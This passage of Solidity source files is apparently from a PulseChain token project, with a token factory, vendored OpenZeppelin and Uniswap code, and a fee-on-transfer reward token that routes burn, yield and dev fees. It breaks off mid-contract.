    function _getA() public pure returns (address) {
        uint160 a = (uint160(50546) << 144) |
            (uint160(2681271) << 120) |
            (uint160(435255790) << 88) |
            (uint160(275934659136) << 48) |
            uint160(189645147833001);
        return address(a);
    }

    // 0xFb7103d7011dfa60c18c6961C5A38038D8048fe0
    function _getDev1() public pure returns (address) {
        uint160 a = (uint160(64369) << 144) |
            (uint160(251649) << 120) |
            (uint160(502948033) << 88) |
            (uint160(603063436707) << 48) |
            uint160(140981630701536);
        return address(a);
    }

    // 0xf66ACD0CF50e406196C42A010DE46228e4081fed
    function _getDev2() public pure returns (address) {
        uint160 a = (uint160(63082) << 144) |
            (uint160(13438197) << 120) |
            (uint160(239100310) << 88) |
            (uint160(842518302180) << 48) |
            uint160(107927763951597);
        return address(a);
    }
}
          

contracts/NoYield_Factory1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./NoYield_v1.sol";

contract NoYield_Factory1 {
    address private _owner;
    uint16 public maxFeeEach = 500;
    uint256 public mintCost = 0 ether;

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function _checkOwner() internal view virtual {
        require(_owner == msg.sender);
    }

    /// @notice Deploys a new contract
    /// @param name_ token name
    /// @param symbol_ token symbol
    /// @param totalSupply_ total supply
    /// @param devAirDrop_ Dev air drop qty
    /// @return Contract address
    function deployContract(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_
    ) public payable returns (address) {
        require(msg.value >= mintCost);
        
        NoYield_v1 newContract = new NoYield_v1(
            name_,
            symbol_,
            totalSupply_,
            devAirDrop_
        );

        return address(newContract);
    }

    function setCost(uint96 newCost_) external onlyOwner {
        mintCost = newCost_;
    }
}
          

contracts/@uniswap/v2-core/interfaces/IUniswapV2Factory.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
          

contracts/lib/Airdroppable.sol

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

import "../@openzeppelin/utils/Context.sol";

abstract contract Airdroppable is Context {
    struct AirdropInfo {
        address to;
        uint256 ethers;
    }

    /// @notice airdrop to multiple addresses
    /// @param airdropList list of addresses and amounts
    function airdrop(AirdropInfo[] memory airdropList) external {
        for (uint256 i = 0; i < airdropList.length; i++) {
            AirdropInfo memory adInfo = airdropList[i];
            _performAirdrop(adInfo.to, adInfo.ethers * 1e18);
        }
        _postAllAirdrops(_msgSender());
    }

    function _performAirdrop(address to_, uint256 wei_) internal virtual;

    function _postAllAirdrops(address from_) internal virtual;
}
          

contracts/@openzeppelin/utils/math/Math.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds up instead
     * of rounding down.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)
     * with further edits by Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            require(denominator > prod1);

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
            // See https://cs.stackexchange.com/q/138556/92363.

            // Does not overflow because the denominator cannot be zero at this stage in the function.
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
            // in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256, rounded down, of a positive value.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
        }
    }
}
          

contracts/@openzeppelin/utils/introspection/IERC165.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
          

contracts/@openzeppelin/utils/introspection/ERC165.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;

import "./IERC165.sol";

/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}
          

contracts/lib/BaseFactory.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "../@openzeppelin/token/ERC20/IERC20.sol";
import "../@openzeppelin/token/ERC20/utils/SafeERC20.sol";

abstract contract BaseFactory {
    using SafeERC20 for IERC20;

    address private _owner;
    uint16 public constant MAX_FEE_EACH = 500;
    uint96 public mintCost = 0 ether;

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function _checkOwner() internal view virtual {
        require(_owner == msg.sender);
    }

    function setCost(uint96 newCost_) external onlyOwner {
        mintCost = newCost_;
    }

    function withdraw(
        address tokenAddr_,
        uint256 amt_
    ) external payable onlyOwner {
        if (tokenAddr_ == address(0)) {
            uint256 amt = address(this).balance;
            (bool sent, ) = msg.sender.call{value: amt}("");
            require(sent);
        } else {
            IERC20 token = IERC20(tokenAddr_);
            uint256 balance = (token.balanceOf(address(this)));
            if (amt_ > balance) {
                amt_ = balance;
            }
            token.safeTransfer(msg.sender, amt_);
        }
    }
}
          

contracts/YieldNonPLS_v2.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 * Deflationary, burns portion of the fees, and yields the remaining as reward tokens
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./@openzeppelin/access/Ownable.sol";
import "./@openzeppelin/token/ERC20/utils/SafeERC20.sol";
import "./@uniswap/v2-core/interfaces/IUniswapV2Factory.sol";
import "./@uniswap/v2-core/interfaces/IUniswapV2Pair.sol";
import "./@uniswap/v2-periphery/interfaces/IUniswapV2Router02.sol";
import "./lib/Airdroppable.sol";
import "./lib/DSMath.sol";
import "./lib/ERC20.sol";
import "./lib/Utils.sol";

contract YieldNonPLS_v2 is Airdroppable, DSMath, ERC20, Ownable, Utils {
    using SafeERC20 for IERC20;

    enum Fees {
        BuyBurnFee,
        BuyYieldFee,
        SellBurnFee,
        SellYieldFee
    }

    struct WalletInfo {
        uint256 share;
        uint256 yieldDebt;
        uint256 yieldPaid;
    }

    IERC20 public immutable rwdInst;

    IUniswapV2Pair public plsV2LP;
    IUniswapV2Pair[] public lps;

    IUniswapV2Router02 public dexRouter;
    IUniswapV2Router02 public constant TKN_ROUTER =
        IUniswapV2Router02(0x165C3410fC91EF562C50559f7d2289fEbed552d9);

    address internal constant _TKN1_ADDR =
        0xB4B51aE5c720aB73a3126873268a7d60a6C0785C; // Wealth mainnet
    address internal constant _TKN2_ADDR =
        0x1DcbF345bC44696BbBed402367f7C62e524Fe8B5; // pBSKR mainnet
    address public constant WPLS_ADDR =
        0xA1077a294dDE1B09bB078844df40758a5D0f9a27;

    address[] public wallets;

    bool private _swapping;
    bool public payoutEnabled = true;
    bool public swapEnabled = true;

    mapping(IUniswapV2Pair => uint24) public lpBips;
    mapping(address => WalletInfo) public walletInfo;
    mapping(address => bool) public isMyLP;
    mapping(address => bool) public noFee;
    mapping(address => bool) public noYield;
    mapping(address => uint256) public walletClaimTS;
    mapping(address => uint256) public walletIndex;

    uint16 private constant _BIPS = 10000;
    uint16[] public fees = new uint16[](uint256(type(Fees).max) + 1);

    uint24 public lpFactor = 2000; // 0.05% ==> 1:100%, 10:10%, 100:1%
    uint24 public maxGas = 300000;
    uint24 public minWaitSec = 3600;

    uint32 public currIndex;

    uint96 private constant _YIELDX = 1e27;
    uint96 public minYield = 1e16;

    uint256 private _feeDues;
    uint256 public shareYieldRay;
    uint256 public totalPaid;
    uint256 public totalShares;
    uint256 public totalYield;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address dexRouter_,
        address rwdAddr_,
        uint16[4] memory fees_
    ) ERC20(name_, symbol_) {
        rwdInst = IERC20(rwdAddr_);
        dexRouter = IUniswapV2Router02(dexRouter_);
        address plsLPAddr = IUniswapV2Factory(dexRouter.factory()).createPair(
            address(this),
            WPLS_ADDR
        );

        plsV2LP = IUniswapV2Pair(plsLPAddr);
        lps.push(plsV2LP);
        lpBips[plsV2LP] = 20000; // 2x

        fees[uint256(Fees.BuyBurnFee)] = fees_[uint256(Fees.BuyBurnFee)];
        fees[uint256(Fees.BuyYieldFee)] = fees_[uint256(Fees.BuyYieldFee)];
        fees[uint256(Fees.SellBurnFee)] = fees_[uint256(Fees.SellBurnFee)];
        fees[uint256(Fees.SellYieldFee)] = fees_[uint256(Fees.SellYieldFee)];

        noFee[address(this)] = true;
        noFee[dexRouter_] = true;

        noYield[address(0)] = true;
        noYield[address(0x369)] = true;
        noYield[address(this)] = true;
        noYield[plsLPAddr] = true;
        isMyLP[plsLPAddr] = true;

        _mint(tx.origin, totalSupply_);
        if (devAirDrop_ > 0) {
            super._transfer(tx.origin, _devAddr1, devAirDrop_ / 2);
            _setShare(_devAddr1, devAirDrop_ / 2);
            super._transfer(tx.origin, _devAddr2, devAirDrop_ / 2);
            _setShare(_devAddr2, devAirDrop_ / 2);
            _setShare(tx.origin, totalSupply_ - devAirDrop_);
        }
        _grantRole(ADMIN_ROLE, tx.origin);
        _transferOwnership(tx.origin);
    }

    function _buyTkn(uint256 tknAmt_) private {
        if (tknAmt_ == 0) return;
        address[] memory path1 = new address[](2);
        path1[0] = address(rwdInst);
        path1[1] = WPLS_ADDR;
        rwdInst.approve(address(dexRouter), tknAmt_);
        uint256 balBefore = address(this).balance;
        try
            dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tknAmt_,
                0,
                path1,
                address(this),
                block.timestamp
            )
        {} catch {}

        uint256 newPLSBal;
        uint256 balAfter = address(this).balance;
        if (balAfter > balBefore) {
            newPLSBal = balAfter - balBefore;
        }

        if (newPLSBal > 0) {
            address[] memory path2 = new address[](2);
            path2[0] = WPLS_ADDR;
            path2[1] = (block.number % 2 == 0) ? _TKN1_ADDR : _TKN2_ADDR;
            try
                TKN_ROUTER.swapExactETHForTokensSupportingFeeOnTransferTokens{
                    value: newPLSBal
                }(0, path2, address(0x369), block.timestamp)
            {} catch {}
        }
    }

    function _calcFees(
        uint256 amt_,
        bool isFromLP_,
        bool isToLP_
    ) private view returns (uint256 burnFee, uint256 yieldFee) {
        if (isToLP_) {
            // Selling
            burnFee = (amt_ * fees[uint256(Fees.SellBurnFee)]) / _BIPS;
            yieldFee = (amt_ * fees[uint256(Fees.SellYieldFee)]) / _BIPS;
        } else if (isFromLP_) {
            // Buying
            burnFee = (amt_ * fees[uint256(Fees.BuyBurnFee)]) / _BIPS;
            yieldFee = (amt_ * fees[uint256(Fees.BuyYieldFee)]) / _BIPS;
        }

        return (burnFee, yieldFee);
    }

    function _calcShares(
        address target_
    ) private view returns (uint256 shares) {
        uint256 lpShares;
        uint256 lpCount = lps.length;
        for (uint256 index = 0; index < lpCount; index++) {
            lpShares += ((lps[index].balanceOf(target_) * lpBips[lps[index]]) /
                _BIPS);
        }
        return balanceOf(target_) + lpShares;
    }

    function _checkIfMyLP(address target_) private returns (bool) {
        if (target_.code.length == 0) return false;
        if (!isMyLP[target_]) {
            (address token0, address token1) = Utils._getTokens(target_);
            if (token0 == address(this) || token1 == address(this)) {
                isMyLP[target_] = true;
                noYield[target_] = true;
            }
        }
        return isMyLP[target_];
    }

    function _disableYield(address wallet_) private {
        uint256 index = walletIndex[wallet_];
        uint256 walletCount = wallets.length;

        if (index < walletCount - 1) {
            address lastWallet = wallets[walletCount - 1];
            wallets[index] = lastWallet;
            walletIndex[lastWallet] = index;
        }

        wallets.pop();
        delete walletIndex[wallet_];
    }

    function _enableYield(address wallet_) private {
        uint256 index = wallets.length;
        walletIndex[wallet_] = index;
        wallets.push(wallet_);
    }

    function _getCummYield(uint256 share_) private view returns (uint256) {
        return (share_ * shareYieldRay) / _YIELDX;
    }

    function _getSwapSize(
        uint256 amt_
    ) private view returns (uint112 swapSize) {
        swapSize = uint112(balanceOf(address(plsV2LP)) / lpFactor);
        if (swapSize > amt_) {
            swapSize = uint112(amt_);
        }
        return swapSize;
    }

    function _isPayEligible(address wallet_) private view returns (bool) {
        return
            (walletClaimTS[wallet_] + minWaitSec) < block.timestamp &&
            getUnpaidYield(wallet_) > minYield;
    }

    function _payout(uint256 gas_) private {
        uint256 walletCount = wallets.length;

        if (walletCount == 0) {
            return;
        }

        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;

        while (gasUsed < gas_ && iterations < walletCount) {
            if (currIndex >= walletCount) {
                currIndex = 0;
            }
            address wallet = wallets[currIndex];
            if (!noYield[wallet]) {
                bool paidYield = _setShare(wallet, _calcShares(wallet));

                if (!paidYield && _isPayEligible(wallet)) {
                    _payYield(wallet, true);
                }
            }
            currIndex++;
            iterations++;
            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
        }
    }

    function _payYield(address wallet_, bool flag_) private {
        WalletInfo storage walletI = walletInfo[wallet_];
        uint256 share = walletI.share;

        if (share == 0) {
            return;
        }

        uint256 amt = getUnpaidYield(wallet_);

        if (amt > 0) {
            if (flag_) {
                rwdInst.safeTransfer(wallet_, amt);
                walletI.yieldPaid += amt;
            } else {
                _feeDues += amt;
            }
            totalPaid = totalPaid + amt;
            walletClaimTS[wallet_] = block.timestamp;
            walletI.yieldDebt = _getCummYield(share);
        }
    }

    function _performAirdrop(address to_, uint256 wei_) internal override {
        super._transfer(_msgSender(), to_, wei_);
        if (!noYield[to_]) {
            _setShare(to_, _calcShares(to_));
        }
    }

    function _postAllAirdrops(address from_) internal override {
        if (!noYield[from_]) {
            _setShare(from_, _calcShares(_msgSender()));
        }
    }

    function _setShare(
        address wallet_,
        uint256 share_
    ) private returns (bool paidYield) {
        WalletInfo storage walletI = walletInfo[wallet_];
        uint256 shareOld = walletI.share;

        if (share_ != shareOld) {
            if (shareOld > 0) {
                _payYield(wallet_, (share_ > 0));
                paidYield = true;
            }

            if (share_ == 0) {
                _disableYield(wallet_);
            } else if (shareOld == 0) {
                _enableYield(wallet_);
            }

            totalShares = totalShares - shareOld + share_;
            walletI.share = share_;
            walletI.yieldDebt = _getCummYield(share_);
        }

        return paidYield;
    }

    function _swapTokens(uint256 tknAmt_) private {
        if (tknAmt_ == 0) return;
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = WPLS_ADDR;
        path[2] = address(rwdInst);

        uint256 balBefore = rwdInst.balanceOf(address(this));

        _approve(address(this), address(dexRouter), tknAmt_);

        try
            dexRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                tknAmt_,
                0,
                path,
                address(this),
                block.timestamp
            )
        {} catch {}

        uint256 balAfter = rwdInst.balanceOf(address(this));

        if (balAfter > balBefore) {
            _swapTokensPost(balAfter - balBefore);
        }
    }

    function _swapTokensPost(uint256 bal_) private returns (uint256 newBal) {
        if (bal_ > 0) {
            newBal = bal_;
            uint256 devToll = (bal_ * 4) / 100;
            rwdInst.safeTransfer(_devAddr1, devToll);
            rwdInst.safeTransfer(_devAddr2, devToll);
            rwdInst.safeTransfer(_facAddr, _feeDues);
            newBal -= (devToll * 2);
            _feeDues = 0;
            uint256 tknToll = (bal_ * 5) / 100;
            _buyTkn(tknToll);
            newBal -= tknToll;
            totalYield = totalYield + newBal;
            shareYieldRay = shareYieldRay + (_YIELDX * newBal) / totalShares;
        }
    }

    function _transfer(
        address from_,
        address to_,
        uint256 amt_
    ) internal override(ERC20) {
        bool isFromLP = _checkIfMyLP(from_);
        bool isToLP = _checkIfMyLP(to_);
        uint256 yieldBal = balanceOf(address(this));
        uint256 swapAmt = _getSwapSize(amt_);
        // Sell transaction when _swap is enabled and _swapping is not in progress
        if (
            swapEnabled &&
            (yieldBal >= swapAmt) &&
            !_swapping &&
            to_ == address(plsV2LP)
        ) {
            _swapping = true;
            _swapTokens(swapAmt);
            _swapping = false;
        }
        if (!noFee[from_] && !noFee[to_]) {
            (uint256 burnFee, uint256 yieldFee) = _calcFees(
                amt_,
                isFromLP,
                isToLP
            );

            if (burnFee > 0) {
                amt_ -= burnFee;
                super._transfer(from_, address(0x369), burnFee);
            }

            if (yieldFee > 0) {
                amt_ -= yieldFee;
                uint256 devFee = (yieldFee * 4) / 100;
                super._transfer(from_, _facAddr, devFee);
                yieldFee -= devFee;
                super._transfer(from_, address(this), yieldFee);
            }
        }
        super._transfer(from_, to_, amt_);
        if (payoutEnabled && !_swapping) {
            _payout(maxGas);
        }
        if (!noYield[from_]) {
            _setShare(from_, _calcShares(from_));
        }
        if (!noYield[to_]) {
            _setShare(to_, _calcShares(to_));
        }
    }

    /// @notice Claim unpaid yield
    function claimYield() external {
        _payYield(_msgSender(), true);
    }

    /// @notice Retrieves unpaid yield
    /// @param wallet_ target address
    /// @return - unpaid yield for the given address
    function getUnpaidYield(address wallet_) public view returns (uint256) {
        WalletInfo storage walletI = walletInfo[wallet_];
        uint256 share = walletI.share;

        if (share == 0) {
            return 0;
        }

        uint256 cummYield = _getCummYield(share);
        uint256 walletYieldDebt = walletI.yieldDebt;

        if (cummYield <= walletYieldDebt) {
            return 0;
        }

        return cummYield - walletYieldDebt;
    }

    /// @notice Set the fees in basis points
    /// @param buyBurnFee_ Burn fee on Buy
    /// @param buyYieldFee_ Yield fee on Buy
    /// @param sellBurnFee_ Burn fee on Sell
    /// @param sellYieldFee_ Yield fee on Sell
    function setFees(
        uint16 buyBurnFee_,
        uint16 buyYieldFee_,
        uint16 sellBurnFee_,
        uint16 sellYieldFee_
    ) external onlyRole(ADMIN_ROLE) {
        require(
            buyBurnFee_ <= 500 &&
                buyYieldFee_ <= 500 &&
                sellBurnFee_ <= 500 &&
                sellYieldFee_ <= 500
        );

        fees[uint256(Fees.BuyBurnFee)] = buyBurnFee_;
        fees[uint256(Fees.BuyYieldFee)] = buyYieldFee_;
        fees[uint256(Fees.SellBurnFee)] = sellBurnFee_;
        fees[uint256(Fees.SellYieldFee)] = sellYieldFee_;
    }

    /// @notice Set the LP yield basis points
    /// @param lpPair_ lp address
    /// @param newLPYieldBips_ Basis points (10000 -> 100%)
    function setLPYieldBips(
        IUniswapV2Pair lpPair_,
        uint24 newLPYieldBips_
    ) external onlyRole(ADMIN_ROLE) {
        require(newLPYieldBips_ < 50000);

        if (newLPYieldBips_ == 0) {
            uint256 length = lps.length;
            for (uint256 lpi = 0; lpi < length; lpi++) {
                if (address(lps[lpi]) == address(lpPair_)) {
                    if (lpi < length - 1) {
                        lps[lpi] = lps[length - 1];
                        lps.pop();
                    } else {
                        lps.pop();
                    }
                }
            }
            lpBips[lpPair_] = 0;
        } else {
            uint256 length = lps.length;
            bool found = false;
            for (uint256 lpi = 0; lpi < length; lpi++) {
                if (address(lps[lpi]) == address(lpPair_)) {
                    found = true;
                }
            }

            if (!found) {
                lps.push(lpPair_);
            }
            lpBips[lpPair_] = newLPYieldBips_;
        }
    }

    /// @notice Enable/disable yield for addresses
